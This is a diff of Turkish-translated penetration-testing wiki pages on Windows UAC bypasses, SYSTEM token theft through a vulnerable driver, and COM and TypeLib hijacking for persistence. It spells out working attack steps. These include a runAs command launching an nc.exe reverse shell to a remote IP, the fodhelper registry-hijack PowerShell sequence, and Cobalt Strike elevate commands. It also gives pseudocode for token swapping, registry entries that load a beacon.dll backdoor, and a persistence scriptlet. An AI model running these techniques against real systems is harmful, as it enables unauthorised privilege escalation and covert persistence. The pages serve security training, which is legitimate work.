+Eğer **`0`** (varsayılan), **built-in Administrator account** uzak yönetim görevlerini yapabilir ve eğer **`1`** ise built-in Administrator hesabı uzak yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça.
 
 #### Summary
 
-- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (yerleşik Yönetici)**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
+- Eğer `EnableLUA=0` veya **mevcut değilse**, **hiç kimse için UAC yok**
+- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1`**, kimse için UAC yok
+- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`**, RID 500 (Built-in Administrator) için UAC yok
+- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`**, herkes için UAC vardır
 
-Tüm bu bilgiler **metasploit** modülü ile toplanabilir: `post/windows/gather/win_privs`
+Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs`
 
-Ayrıca kullanıcı gruplarınızı kontrol edebilir ve integrity level'ınızı öğrenebilirsiniz:
+Ayrıca kullanıcı grubunuzu kontrol edebilir ve integrity level'ınızı görebilirsiniz:
 ```
 net user %username%
 whoami /groups | findstr Level
@@ -91,15 +92,15 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!TIP]
-> Hedefin grafiksel arayüzüne erişiminiz varsa, UAC bypass çok basittir; UAC istemi göründüğünde sadece "Yes"e tıklayabilirsiniz
+> Eğer hedefe grafiksel erişiminiz varsa, UAC bypass oldukça basittir; UAC istemi göründüğünde basitçe "Yes"e tıklayabilirsiniz
 
-UAC bypass şu durumda gereklidir: **UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı hesabınız administrators grubuna ait**.
+UAC bypass şu durumda gereklidir: **UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı administrators group üyesi**.
 
-Belirtmek gerekir ki, **UAC en yüksek güvenlik seviyesindeyse (Always), diğer herhangi bir seviyedeyken (Default) olduğuna kıyasla atlatmak çok daha zordur.**
+Belirtmek gerekir ki, UAC en yüksek güvenlik seviyesindeyse (Always) atlatmak **diğer seviyelerden (Default) çok daha zordur**.
 
 ### UAC devre dışı
 
-Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) şu gibi bir şey kullanarak (high integrity level) **admin privileges ile bir reverse shell çalıştırabilirsiniz:**
+Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` is **`0`**) şu gibi bir şey kullanarak **execute a reverse shell with admin privileges** (high integrity level) çalıştırabilirsiniz:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -110,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Çok Temel** UAC "bypass" (full file system access)
+### **Çok** Temel UAC "bypass" (tam dosya sistemi erişimi)
 
-Eğer Administrators grubunun içinde bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan **mount the C$**'ı yerel olarak yeni bir diske bağlayabilir ve file system içindeki her şeye **erişiminiz olur** (hatta Administrator home folder).
+Eğer Administrators grubunda olan bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan **C$'ı mount ederek** yeni bir diske yerel olarak bağlayabilir ve dosya sistemi içindeki her şeye (hatta Administrator'ın ev klasörüne) **erişim** sağlayabilirsiniz.
 
 > [!WARNING]
 > **Görünüşe göre bu hile artık çalışmıyor**
@@ -125,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
 ### UAC bypass ile cobalt strike
 
-Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlı değilse çalışır.
+Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesine ayarlı değilse çalışır.
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -145,10 +146,10 @@ Dokümantasyon ve araç: [https://github.com/wh0amitz/KRBUACBypass](https://gith
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) birkaç UAC bypass exploits içeren bir **derlemedir**. Dikkat: **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerekecek**. Derleme birkaç çalıştırılabilir dosya oluşturacaktır (ör. `Source\Akagi\outout\x64\Debug\Akagi.exe`), hangi dosyaya **ihtiyaç duyduğunuzu** bilmeniz gerekecek.\
-**Dikkatli olun**, çünkü bazı bypass'lar bazı diğer programları **tetikleyebilir** ve bu programlar **kullanıcıyı** bir şeylerin olduğunu **uyarabilir**.
+[**UACME**](https://github.com/hfiref0x/UACME) birkaç UAC bypass exploit'inin bir **compilation**'ıdır. Unutmayın: **compile UACME using visual studio or msbuild** gerekecektir. The compilation birkaç executables (like `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır; **hangisine ihtiyacınız olduğunu** bilmeniz gerekecek.\
+**Dikkatli olmalısınız** çünkü bazı bypass'lar **başka bazı programları tetikleyebilir** ve bu programlar **uyarı** ile **kullanıcıyı** bir şeylerin olduğunu bildirebilir.
 
-UACME, **her tekniğin hangi build sürümünden itibaren çalışmaya başladığını** gösterir. Sürümlerinizi etkileyen bir teknik arayabilirsiniz:
+UACME, her tekniğin çalışmaya başladığı **build version from which each technique started working** bilgisine sahiptir. Sürümlerinizi etkileyen bir teknik için arama yapabilirsiniz:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -156,17 +157,17 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
+Ayrıca, [this](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfasını kullanarak build sürümlerinden Windows sürümü `1607`'yi elde edersiniz.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-Güvenilen ikili `fodhelper.exe` modern Windows sürümlerinde otomatik olarak yükseltilir. Başlatıldığında, `DelegateExecute` verbünü doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, bir Medium Integrity sürecinin (kullanıcı Administrators grubunda) UAC prompt olmadan bir High Integrity süreci başlatmasına olanak verir.
+Güvenilen ikili `fodhelper.exe` modern Windows'ta otomatik olarak yükseltilir. Başlatıldığında, `DelegateExecute` eylemini doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, (kullanıcı Administrators grubundaysa) bir Medium Integrity sürecinin UAC istemi olmadan bir High Integrity süreci başlatmasına olanak sağlar.
 
-Registry path queried by fodhelper:
+fodhelper tarafından sorgulanan kayıt defteri yolu:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-PowerShell adımları (payload'unuzu ayarlayın, sonra trigger edin):
+PowerShell adımları (payload'unuzu ayarlayın, sonra tetikleyin):
 ```powershell
 # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
 C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@@ -186,44 +187,44 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
 Notlar:
-- Mevcut kullanıcı Administrators grubunun bir üyesi olduğunda ve UAC seviyesi varsayılan/esnek olduğunda işe yarar (Always Notify ile ek kısıtlamalar olduğunda çalışmaz).
-- 64-bit Windows'ta 32-bit bir process'ten 64-bit PowerShell başlatmak için `sysnative` yolunu kullanın.
-- Payload herhangi bir komut (PowerShell, cmd veya bir EXE yolu) olabilir. Stealth için uyarı gösteren UI'ları tetiklemekten kaçının.
+- Geçerli kullanıcı Administrators üyesi olduğunda ve UAC seviyesi varsayılan/gevşek (Always Notify ile ekstra kısıtlamalar değil) ise çalışır.
+- 64-bit Windows üzerinde 32-bit bir süreçten 64-bit PowerShell başlatmak için `sysnative` yolunu kullanın.
+- Payload herhangi bir komut olabilir (PowerShell, cmd veya bir EXE yolu). Gizlilik için isteme/dialog pencereleri açmaktan kaçının.
 
 #### Daha fazla UAC bypass
 
-**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
+**Burada kullanılan tüm** teknikler UAC'yi atlatmak için kurbanla **full interactive shell** **gerektirir** (yaygın bir nc.exe shell yeterli değildir).
 
-You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
+Bunu bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **process**'e migrate edin:
 
 ![](<../../images/image (863).png>)
 
-(_explorer.exe_ should works)
+(_explorer.exe_ çalışmalıdır)
 
 ### GUI ile UAC Bypass
 
-Eğer bir **GUI** erişiminiz varsa, UAC istemini aldığınızda onu kabul edebilirsiniz; gerçekten bir bypass'a ihtiyacınız yoktur. Bu nedenle, GUI erişimi UAC'yi bypass etmenize izin verir.
+Eğer bir GUI erişiminiz varsa, UAC istemini aldığınızda onu basitçe kabul edebilirsiniz — gerçekten bir bypass'a gerek yoktur. Yani GUI erişimi UAC'yi atlamanızı sağlar.
 
-Ayrıca, eğer birinin kullandığı (muhtemelen RDP ile) bir GUI session elde ederseniz, bazı araçlar administrator olarak çalışıyor olabilir; bu araçlardan örneğin bir **cmd**'yi doğrudan **as admin** olarak UAC tarafından tekrar sorulmadan çalıştırabilirsiniz, örneğin [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **stealthy** olabilir.
+Ayrıca, biri tarafından kullanılmış (muhtemelen RDP üzerinden) bir GUI oturumu elde ederseniz, bazı araçlar yönetici olarak çalışıyor olacak; bu araçlardan örneğin bir **cmd**'yi **as admin** olarak doğrudan çalıştırabilirsiniz ve UAC tarafından tekrar istenmez — örnek: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **stealthy** olabilir.
 
 ### Gürültülü brute-force UAC bypass
 
-Gürültülü olmaktan endişe etmiyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) gibi bir aracı çalıştırabilirsiniz.
+Eğer gürültü yapmayı umursamıyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) gibi bir aracı her zaman çalıştırabilirsiniz.
 
 ### Kendi bypass'ınız - Temel UAC bypass metodolojisi
 
-If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
+Eğer **UACME**'ye bakarsanız, çoğu UAC bypass'ının bir **Dll Hijacking** zafiyetinden yararlandığını görürsünüz (çoğunlukla kötü amaçlı dll'i _C:\Windows\System32_ içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
-2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
-3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
-1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
-2. **IFileOperation**: Windows 10.
-4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
+1. **autoelevate** yapacak bir binary bulun (çalıştırıldığında yüksek integrity level'da çalıştığını kontrol edin).
+2. procmon ile **NAME NOT FOUND** olaylarını bulun; bunlar **DLL Hijacking** için kırılgan olabilir.
+3. Muhtemelen yazma izniniz olmayan bazı **korumalı yollar**a (ör. C:\Windows\System32) DLL yazmanız gerekecek. Bunu şu yollarla atlayabilirsiniz:
+   1. **wusa.exe**: Windows 7, 8 ve 8.1. Bu araç protected paths içine bir CAB dosyasının içeriğini çıkarmanıza izin verir (çünkü bu araç yüksek integrity level'da çalıştırılır).
+   2. **IFileOperation**: Windows 10.
+4. DLL'inizi korumalı yola kopyalayıp zafiyetli ve autoelevated binary'i çalıştıracak bir **script** hazırlayın.
 
-### Another UAC bypass technique
+### Başka bir UAC bypass tekniği
 
-Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
+Bir **autoElevated binary**'nin **registry**'den çalıştırılacak bir **binary** veya **command**'ın **name/path**'ini **read** etmeye çalışıp çalışmadığını izlemeye dayanır (binary bu bilgiyi **HKCU** içinde arıyorsa bu daha ilgi çekicidir).
 
 ## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,35 +4,35 @@
 
 ## Genel Bakış
 
-Eğer bir vulnerable driver bir saldırganın arbitrary kernel read ve/veya write primitiflerine erişim sağlayan bir IOCTL sunuyorsa, NT AUTHORITY\SYSTEM yükseltmesi sıklıkla bir SYSTEM erişim token’ı çalınarak gerçekleştirilebilir. Teknik, bir SYSTEM process’in EPROCESS içindeki Token pointer’ını mevcut process’in EPROCESS’ine kopyalar.
+Eğer bir vuln driver, saldırgana arbitrary kernel read ve/veya write primitive’leri sağlayan bir IOCTL açıyorsa, NT AUTHORITY\SYSTEM yetkisine yükselme genellikle bir SYSTEM access Token’ı çalarak gerçekleştirilebilir. Teknik, SYSTEM process’in EPROCESS’indeki Token pointer’ını mevcut process’in EPROCESS’ine kopyalar.
 
-Neden işe yarıyor:
-- Her process’in, (diğer alanlar arasında) bir Token (aslında token objesine işaret eden bir EX_FAST_REF) içeren bir EPROCESS yapısı vardır.
-- SYSTEM process (PID 4) tüm ayrıcalıkları etkin olan bir token’a sahiptir.
+Neden işe yarar:
+- Her process’in içinde (diğer alanlar arasında) bir Token içeren bir EPROCESS yapısı vardır (aslında bir EX_FAST_REF to a token object).
+- SYSTEM process (PID 4) tüm ayrıcalıkları etkinleştirilmiş bir token’a sahiptir.
 - Mevcut process’in EPROCESS.Token’ını SYSTEM token pointer’ı ile değiştirmek, mevcut process’in hemen SYSTEM olarak çalışmasını sağlar.
 
-> EPROCESS içindeki offset’ler Windows sürümleri arasında değişir. Bunları dinamik olarak (symbols) belirleyin veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Token’ın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır).
+> EPROCESS içindeki offset’ler Windows sürümleri arasında değişir. Bunları dinamik olarak belirleyin (symbols) veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Token’ın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır).
 
-## Yüksek seviye adımlar
+## Yüksek seviyeli adımlar
 
 1) ntoskrnl.exe base’ini bulun ve PsInitialSystemProcess adresini çözün.
-- User mode’dan, yüklü driver base’lerini almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın.
+- User mode’dan, yüklenmiş driver bazlarını almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın.
 - Kernel base’e PsInitialSystemProcess offset’ini (symbols/reversing’den) ekleyerek adresini elde edin.
-2) PsInitialSystemProcess’teki pointer’ı okuyun → bu, SYSTEM’in EPROCESS’ine işaret eden bir kernel pointer’ıdır.
-3) SYSTEM EPROCESS’inden UniqueProcessId ve ActiveProcessLinks offset’lerini okuyarak EPROCESS yapılarının çift bağlı listesini (ActiveProcessLinks.Flink/Blink) gezin; UniqueProcessId’si GetCurrentProcessId() ile eşit olan EPROCESS’i bulana kadar devam edin. İkisini saklayın:
+2) PsInitialSystemProcess’teki pointer’ı okuyun → bu SYSTEM’in EPROCESS’ine işaret eden bir kernel pointer’ıdır.
+3) SYSTEM EPROCESS’inden UniqueProcessId ve ActiveProcessLinks offset’lerini okuyarak EPROCESS yapılarını doubly linked list halinde (ActiveProcessLinks.Flink/Blink) dolaşın; UniqueProcessId’nin GetCurrentProcessId() ile eşit olduğu EPROCESS’i bulana kadar devam edin. Her iki adresi saklayın:
 - EPROCESS_SYSTEM (SYSTEM için)
 - EPROCESS_SELF (mevcut process için)
 4) SYSTEM token değerini okuyun: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya build’e bağlı olarak ~0x7; x64 üzerinde alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 maskesi).
-5) Seçenek A (yaygın): Gömülü ref count’ın tutarlı kalması için mevcut token’ınızdaki alt 3 biti koruyup SYSTEM pointer’ına ekleyin.
+- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya build’e bağlı olarak ~0x7; x64’te alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 mask).
+5) Seçenek A (yaygın): Gömülü referans sayısını tutarlı kılmak için mevcut token’ınızın alt 3 bitini koruyun ve SYSTEM’in pointer’ına ekleyin.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
-6) Kernel write primitive’inizi kullanarak Token_NEW’i (EPROCESS_SELF + TokenOffset) adresine yazın.
-7) Mevcut process’iniz artık SYSTEM. Doğrulamak için isteğe bağlı olarak yeni bir cmd.exe veya powershell.exe spawn edin.
+6) Kernel write primitive’inizi kullanarak Token_NEW’i (EPROCESS_SELF + TokenOffset) adresine geri yazın.
+7) Mevcut process’iniz artık SYSTEM. Doğrulamak için opsiyonel olarak yeni bir cmd.exe veya powershell.exe spawn edebilirsiniz.
 
-## Pseudocode
+## Pseudokod
 
-Aşağıda sadece bir vulnerable driver’dan iki IOCTL kullanan bir iskelet var: biri 8-byte kernel read, diğeri 8-byte kernel write için. Kendi driver arayüzünüzle değiştirin.
+Aşağıda sadece vuln driver’dan iki IOCTL kullanan iskelet bir örnek verilmiştir; biri 8-byte kernel read, diğeri 8-byte kernel write içindir. Kendi driver arayüzünüzle değiştirin.
 ```c
 #include <Windows.h>
 #include <Psapi.h>
@@ -106,14 +106,14 @@ return 0;
 }
 ```
 Notlar:
-- Ofsetler: Doğru offsetleri elde etmek için hedefin PDBs'iyle veya bir çalışma zamanı sembol yükleyicisi ile WinDbg’in `dt nt!_EPROCESS` komutunu kullanın. Offs etleri körü körüne sabit değer olarak kullanmayın.
-- Maske: x64'te token bir EX_FAST_REF'tir; en düşük 3 bit referans sayacı bitleridir. Tokeninizin orijinal düşük bitlerini korumak, anında referans sayacı tutarsızlıklarını önler.
-- Kararlılık: Mevcut işlemi yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o sonlandığında SYSTEM yetkisini kaybedebilirsiniz.
+- Ofsetler: Doğru ofsetleri almak için hedefin PDBs'i ile veya bir runtime symbol loader ile WinDbg’in `dt nt!_EPROCESS` komutunu kullanın. Hardcode yapmayın.
+- Maske: x64'te token bir EX_FAST_REF'tir; düşük 3 bit referans sayısı bitleridir. Tokenınızdan orijinal düşük bitleri korumak, anlık refcount tutarsızlıklarını önler.
+- Kararlılık: Mevcut süreci yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o süreç sonlandığında SYSTEM'i kaybedebilirsiniz.
 
 ## Tespit ve hafifletme
-- Güçlü IOCTL'ler açığa çıkaran imzasız veya güvenilmez üçüncü taraf sürücülerin yüklenmesi temel nedendir.
-- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları savunmasız sürücülerin yüklenmesini engelleyebilir.
-- EDR, arbitrary read/write uygulayan şüpheli IOCTL dizilerini ve token swaps için izleme yapabilir.
+- Güçlü IOCTLs açığa çıkaran imzalanmamış veya güvenilmeyen üçüncü taraf sürücülerin yüklenmesi temel nedendir.
+- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları zayıf sürücülerin yüklenmesini engelleyebilir.
+- EDR, arbitrary read/write uygulayan ve token swaps içeren şüpheli IOCTL dizilerini izleyebilir.
 
 ## Referanslar
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -2,15 +2,15 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### Var olmayan COM bileşenlerini arama
+### Mevcut olmayan COM bileşenlerini arama
 
-HKCU değerleri kullanıcılar tarafından değiştirilebildiği için **COM Hijacking** bir **kalıcı mekanizma** olarak kullanılabilir. `procmon` kullanarak, saldırganın kalıcılık sağlamak için oluşturabileceği, aranmış ama var olmayan COM kayıtlarını kolayca bulabilirsiniz. Filtreler:
+HKCU değerleri kullanıcılar tarafından değiştirilebildiği için **COM Hijacking**, **kalıcı bir mekanizma** olarak kullanılabilir. `procmon` kullanarak, saldırganın kalıcılık için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler:
 
 - **RegOpenKey** işlemleri.
-- _Result_ **NAME NOT FOUND** olduğunda.
-- ve _Path_ **InprocServer32** ile bitiyorsa.
+- _Result_ değeri **NAME NOT FOUND** olanlar.
+- ve _Path_ **InprocServer32** ile bitenler.
 
-Hangi var olmayan COM'un kimliğini taklit edeceğinize karar verdikten sonra aşağıdaki komutları çalıştırın. _Eğer her birkaç saniyede bir yüklenen bir COM'un kimliğini taklit etmeye karar verirseniz dikkatli olun; bu aşırıya kaçmaya neden olabilir._
+Hangi mevcut olmayan COM'u taklit edeceğinize karar verdikten sonra aşağıdaki komutları çalıştırın. _Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun; bu aşırıya kaçabilir._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 ```
 ### Ele geçirilebilen Task Scheduler COM bileşenleri
 
-Windows Tasks, Custom Triggers kullanarak COM objects çağırır ve Task Scheduler üzerinden çalıştırıldıkları için ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
+Windows Tasks, COM objects çağırmak için Custom Triggers kullanır ve Task Scheduler üzerinden çalıştırıldıkları için ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Çıktıyı kontrol ederek, örneğin **kullanıcı her oturum açtığında** çalıştırılacak birini seçebilirsiniz.
+Çıktıyı kontrol ederek örneğin **her kullanıcı oturum açtığında** çalıştırılacak birini seçebilirsiniz.
 
-Şimdi CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**'yi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da aradığınızda, genellikle bu değerin HKCU'da bulunmadığını görürsünüz.
+Şimdi CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**'yi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da aradığınızda, genellikle değerin HKCU'da bulunmadığını görürsünüz.
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Böylece, sadece HKCU girdisini oluşturursunuz ve kullanıcı her oturum açtığında backdoor'unuz tetiklenir.
+Sonra, sadece HKCU girdisini oluşturabilir ve her kullanıcı oturum açtığında backdoor'unuz tetiklenecektir.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib), COM arayüzlerini tanımlar ve `LoadTypeLib()` ile yüklenir. Bir COM sunucusu örneklendiğinde, işletim sistemi ilişkili TypeLib'i `HKCR\TypeLib\{LIBID}` altındaki kayıt defteri anahtarlarına bakarak da yükleyebilir. TypeLib yolu bir **moniker** ile değiştirilirse, ör. `script:C:\...\evil.sct`, TypeLib çözüldüğünde Windows scriptleti çalıştırır — bu da yaygın bileşenlere dokunulduğunda tetiklenen gizli bir persistence sağlar.
+Type Libraries (TypeLib), COM arayüzlerini tanımlar ve `LoadTypeLib()` ile yüklenir. Bir COM sunucusu örneklendiğinde, işletim sistemi ayrıca ilişkilendirilmiş TypeLib'i `HKCR\TypeLib\{LIBID}` altındaki kayıt defteri anahtarlarına bakarak yükleyebilir. TypeLib yolu bir **moniker** ile, ör. `script:C:\...\evil.sct`, değiştirildiğinde, TypeLib çözümlendiğinde Windows scriptleti çalıştırır — bu da yaygın bileşenlere dokunulduğunda tetiklenen gizli bir persistence sağlar.
 
-Bu durum, Microsoft Web Browser kontrolü (sıklıkla Internet Explorer, WebBrowser'ı içeren uygulamalar ve hatta `explorer.exe` tarafından yüklenen) üzerinde gözlemlenmiştir.
+Bu, Microsoft Web Browser kontrolüne karşı gözlemlenmiştir (sıklıkla Internet Explorer, WebBrowser gömülü uygulamalar ve hatta `explorer.exe` tarafından yüklenir).
 
 ### Adımlar (PowerShell)
 
-1) Yüksek frekanslı bir CLSID tarafından kullanılan TypeLib (LIBID)'i belirleyin. Malware zincirleri tarafından sıkça suistimal edilen örnek CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+1) Yüksek frekansla kullanılan bir CLSID tarafından kullanılan TypeLib (LIBID) bilgisini tespit edin. Örnek CLSID sıkça kötü amaçlı yazılım zincirleri tarafından kötüye kullanılır: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Kullanıcı başına TypeLib yolunu `script:` moniker'ını kullanarak yerel bir scriptlet'e yönlendirin (admin rights gerekmez):
+2) Her kullanıcıya ait TypeLib yolunu, `script:` moniker'ını kullanarak yerel bir scriptlet'e yönlendirin (yönetici hakları gerekmez):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Birincil payload'ınızı yeniden başlatan minimal bir JScript `.sct` bırakın (örn. ilk zincirde kullanılan bir `.lnk`):
+3) Birincil payload'ınızı yeniden başlatan minimal bir JScript `.sct` bırakın (örn. başlangıç zinciri tarafından kullanılan bir `.lnk`):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,9 +114,9 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Tetikleme – IE'yi açmak, WebBrowser control'ü barındıran bir uygulamayı çalıştırmak veya hatta rutin Explorer etkinliği TypeLib'i yükleyecek ve scriptlet'i çalıştırarak zincirinizi logon/reboot sırasında yeniden etkinleştirecektir.
+4) Tetikleme – IE'yi açmak, WebBrowser control'ü gömülü bir uygulamayı başlatmak veya hatta rutin Explorer etkinlikleri TypeLib'i yükleyecek ve scriptlet'i çalıştıracak; böylece oturum açma/yeniden başlatma sırasında zinciriniz yeniden devreye girecektir.
 
-Temizleme
+Temizlik
 ```powershell
 # Remove the per-user TypeLib hijack
 Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
